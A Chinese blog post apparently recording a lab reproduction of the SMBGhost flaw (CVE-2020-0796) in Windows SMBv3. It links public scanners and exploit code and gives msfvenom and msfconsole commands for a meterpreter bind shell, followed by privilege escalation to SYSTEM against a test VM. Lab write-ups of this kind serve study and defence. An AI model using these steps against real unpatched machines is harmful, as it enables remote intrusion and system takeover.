CVE-2020-0796漏洞复现

网上现在已经有很多复现的文章了,我也做一个学习总结。

0x00 漏洞描述

2020年3月10日,微软在其官方SRC发布了CVE-2020-0796的安全公告(ADV200005,MicrosoftGuidance for Disabling SMBv3 Compression),公告表示在Windows SMBv3版本的客户端和服务端存在远程代码执行漏洞。同时指出该漏洞存在于MicroSoft Server Message Block 3.1.1协议处理特定请求包的功能中,攻击者利用该漏洞可在目标SMB Server或者Client中执行任意代码。

0x01 影响范围

  • Windows 10 Version 1903 for 32-bit Systems
  • Windows 10 Version 1903 for x64-based Systems
  • Windows 10 Version 1903 for ARM64-based Systems
  •  Windows Server, Version 1903 (Server Core installation)
  • Windows 10 Version 1909 for 32-bit Systems
  • Windows 10 Version 1909 for x64-based Systems
  • Windows 10 Version 1909 for ARM64-based Systems
  • Windows Server, Version 1909 (Server Core installation)

0x02 准备工作

Win10 1903的镜像:https://pan.baidu.com/s/1G2oyLolCK62VNDI1GGSOXA&shfl=sharepset#list/path=%2F

漏洞检测工具: https://github.com/ollypwn/SMBGhost

奇安信检测工具: http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip

蓝屏POC: https://github.com/eerykitty/CVE-2020-0796-PoC

本地提权POC:https://github.com/danigargu/CVE-2020-0796/releases/download/v1.0/cve-2020-0796-local_static.zip

远程漏洞利用POC:https://github.com/chompie1337/SMBGhost_RCE_PoC

0x03 漏洞复现

首先注意不是任意Win10都存在该漏洞,注意对应版本,Vmware安装完镜像后,需要关闭防火墙,不然主机的流量无法过去。选择“打开网络和Internet设置”

点击“Windows防火墙”,将以下三个网络全部关闭,之后进行漏洞检测和利用。

Win10虚拟机IP此时为192.168.194.137

1)漏洞检测的两个工具,第一个利用方式

第二个奇安信的工具的利用方式,可进行批量检测

2)蓝屏POC脚本执行前需安装需要的库pip install ntlm_auth,python3环境下运行,运行后虚拟机立马就蓝屏重启了。

3)本地提权POC,需要将exe文件上传到目标机器,但不具备免杀效果,所以需要关闭杀毒。

在目标机器上运行exe文件会弹出一个system权限的shell对话框,成功提权。

4)远程漏洞利用POC

1-首先使用Kali的msfvenom生成一个python类型正向连接的shellcode。

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -b ‘\x00’ -i 1 -f python

2-将生成的 shellcode 替换 POC 中 exploit.py 里的USER_PAYLOAD字段,注意要将buf替换为USER_PAYLOAD,同时注意msfvenom生成的shellcode比exploit.py里原有多几行,需自行添加补齐。

3-msfconsole开启监听端口

use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
options
set rhost 192.168.194.137
run​

4-运行exploit.py 执行命令: python exploit.py -ip 192.168.194.137

过程中需要多执行几次,经常会出现“[-] physical read primitive failed!”的语句就终止了。

5-当成功运行起来后,出现到“[+] Press a key to execute shellcode!”执行shellcode按下“Enter”时,会大概率把Win10打蓝屏重启,其中一次没有重启,但Kali中的监听端口却没有收到Shell,按下【Ctrl】+【C】,再重新执行run命令,就会收到meterpreter的Shell了。

6-拿到Shell后可结合本地提权的POC,在关掉杀毒,防火墙的情况下运行进行提权。

发表评论

电子邮件地址不会被公开。 必填项已用*标注